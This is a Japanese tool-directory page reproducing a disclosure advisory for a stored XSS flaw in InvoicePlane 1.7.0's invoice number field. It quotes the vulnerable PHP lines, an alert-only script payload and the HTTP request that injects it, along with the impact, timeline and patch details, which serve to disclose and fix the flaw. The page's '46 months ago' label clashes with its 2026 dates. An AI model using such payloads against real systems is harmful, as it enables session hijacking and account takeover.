Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25595 — InvoicePlane 1.7.0における、サニタイズされていない請求書番号フィールドを介した保存型XSS脆弱性。概念実証と修正の詳細を含む。 | Kitploit
ツール/GitHubGitHub/lagathos/cve-2026-25595
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ論文と研究学習と教育
GitHublagathos/cve-2026-25595

CVE-2026-25595

InvoicePlane 1.7.0における、サニタイズされていない請求書番号フィールドを介した保存型XSS脆弱性。概念実証と修正の詳細を含む。

リポジトリを見る
46ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-25595 — InvoicePlane 1.7.0 の請求書番号を介した格納型XSS

脆弱性: 請求書番号フィールドを介した格納型クロスサイトスクリプティング(XSS)

製品: InvoicePlane

影響を受けるバージョン: 1.7.0(およびそれ以前のバージョンの可能性あり)

深刻度: 中

CVSS 3.1 スコア: 4.8(CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)

CWE: CWE-79: Webページ生成時の入力の不適切な無害化

発見者: Leonidas Agathos

報告日: 2026-01-31


説明

請求書フォームの invoice_number フィールドは、サニタイズなしで任意の入力を受け入れます。この値は保存され、複数の場所でエンコードされずにレンダリングされます:請求書ビューページのタイトル、請求書番号入力フィールド、およびダッシュボードの最近の請求書ウィジェットです。管理者が影響を受ける請求書を表示するか、ダッシュボードにアクセスするたびにペイロードが実行されます。

影響を受けるファイル:

  • application/modules/invoices/views/view.php:247
  • application/modules/invoices/views/view.php:494
  • application/modules/dashboard/views/index.php:233
root@kitploit:~
// view.php - 247行目
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>

// view.php - 494行目
value="<?php echo $invoice->invoice_number; ?>"

// dashboard/index.php - 233行目
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
    ? $invoice->invoice_number : $invoice->invoice_id)); ?>

概念実証

ステップ1 — 請求書番号にペイロードを注入

/index.php/invoices/form/{id} で請求書を作成または編集し、請求書番号を次のように設定します:

root@kitploit:~
<script>alert("XSS in Invoices")</script>

リクエスト:

root@kitploit:~
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded

invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

Burp Suiteを使用して請求書番号フィールドにXSSペイロードを注入するステップ1

ステップ2 — XSSをトリガー

/index.php/invoices/view/{id} または /index.php/dashboard に移動します。ペイロードはページ読み込み時に実行されます。

請求書ステータス表示時にXSSが実行されるステップ2


影響

ペイロードは、影響を受ける請求書を表示するかダッシュボードにアクセスするすべての管理者のブラウザで実行されます。これにより、セッションハイジャック(CookieがHttpOnlyでない場合)、CSRFトークンの窃取、および被害者のIDの下での操作実行が可能になります。


タイムライン

日付イベント
2026-01-30脆弱性を発見
2026-01-31概念実証を開発
2026-01-31ベンダーに通知
2026-02-04ベンダーが確認
2026-02-04パッチをリリース
2026-02-05公開開示

参考情報

  • CWE-79
  • OWASP: クロスサイトスクリプティング(XSS)
  • CVE-2026-25595

免責事項

この脆弱性は、独立したセキュリティ研究の過程で発見されました。すべての情報は、ベンダーとセキュリティコミュニティが問題を理解し修正するのを支援するための、教育・研究・防御目的でのみ提供されています。この情報の悪意のある使用は固く禁じられています。

ツールをダウンロード